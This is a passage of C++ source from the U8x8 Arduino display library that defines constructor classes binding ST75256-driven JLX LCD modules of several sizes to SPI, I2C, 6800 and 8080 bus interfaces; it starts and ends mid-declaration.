u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX256160_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX256160M_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX256160_ALT_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256160_ALT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX240160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX240160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX240160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX240160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX240160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX240160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX240160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX240160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX240160_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX240160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX240160_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX240160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX25664_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX25664_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX25664_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX25664_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX25664_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX25664_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX25664_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX25664_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX25664_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX25664_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX25664_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX25664_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX172104_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX172104_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX172104_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX172104_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX172104_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX172104_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX172104_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX172104_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX172104_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX172104_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX172104_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX172104_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX19296_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX19296_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX19296_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX19296_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX19296_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX19296_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX19296_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX19296_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX19296_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX19296_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass 